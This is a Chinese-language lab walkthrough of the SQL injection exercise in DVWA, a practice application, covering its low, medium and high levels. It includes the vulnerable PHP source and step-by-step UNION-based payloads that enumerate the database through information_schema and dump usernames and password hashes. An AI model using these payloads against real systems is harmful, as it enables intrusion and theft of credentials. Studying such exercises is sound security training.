SQL Injection(SQL 注入攻击)

套路

注入思路:

  1. 是否有注入?是字符型还是数字型
  2. 获取当前数据库
    • 获取库名
    • 获取表名
    • 获取列名
  3. 下载(显示数据)

LOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;

#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

代码分析:
服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端。

  • 判断是否存在注入,注入是字符型还是数字型

字符型和数字型的区别在于是否存在引号,因此通过输入 1’ 进行注入,如下图:

由上图可以判定id为注入点,且属于字符型注入,因此可以通过添加引号结束之前的SQL语句并在后面加上payload,最后在结尾通过 #注释掉代码中原有的引号(判断SQL注入类型的目的就是为了有针对性的结束原有语句)。

  • 猜解SQL查询语句中的字段数

想要爆库要通过Union查询,先来了解一下Union查询吧:

在大多数开发中,使用一条SELECT查询就会返回一个结果集。如果,我们想一次性查询多条SQL语句,并将每一条SELECT查询的结果合并成一个结果集返回。就需要用到Union操作符,将多个SELECT语句组合起来,这种查询被称为并(Union)或者复合查询。

需要知道前一个select所查询的字段数目才能正确的进行Union查询。

尝试通过order by 判断前一个select语句的字段数,依次输入

1
2
3
1' order by 1#
1' order by 2#
1' order by 3#

当输入 1' order by 3# 可以看到如下提示,说明前一个select语句的查询字段数为2

于是输入 1' union select 1,2#

  • 第二个select语句是可控且结果是可显示的,因此可以利用一些mysql函数获取数据库的相关信息,如version(),database()等。
    1. 获取当前数据库,输入1' union select database(),2#,显示结果为:

​ 2. 可知数据库名称为dvwa,同理获取当前的数据库版本,1' union select version(),2#

  • 获取数据库中的表

如何根据数据库得知其中的数据表呢,这就需要了解mysql的一个小知识点了,每一个mysql都存在一个系统库information_schema,里面有mysql的“骨架”即所有的数据库,数据表,相应的字段名

可以构造 payload: 1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

遇到了问题,经过查找,发现是数据库编码问题,输入下面命令解决

1
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

结论:有两个表 guestbook、users

还是重新处理一下数据库吧,太麻烦了

users 同理

这样就可以正常使用了,不用进行编码格式的转换

  • 获取表中的字段名

继续在mysql的”骨架”(information_schema)中寻找数据表对应的字段,输入 1' union select column_name,2 from information_schema.columns where table_name=7573657273 #

  • 显示数据

有了数据表名和字段名,输入1' union select user,password from users #

Medium

  • 改用POST方式提交数据
  • 对id进行了 mysqli_real_escape_string 转义处理
1
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。(包括’,”,\n,\r,\x00,\x1a),但是细看medium.php中SQL语句为:

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数字型注入

burp suite 抓取包,将最后一行注入 UNION SELECT 1,database() from information_schema.schemata*#*

即变成 id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit

使用 burp suite 注入命令 id=1 union select user,password from users #&Submit=Submit

可以看到成功了

High

看源码,发现多了 LIMIT 1

查找其含义

似乎除了做了个弹窗,和 Low 好像是一样的,输入 1' union select user,password from users # ,则破解成功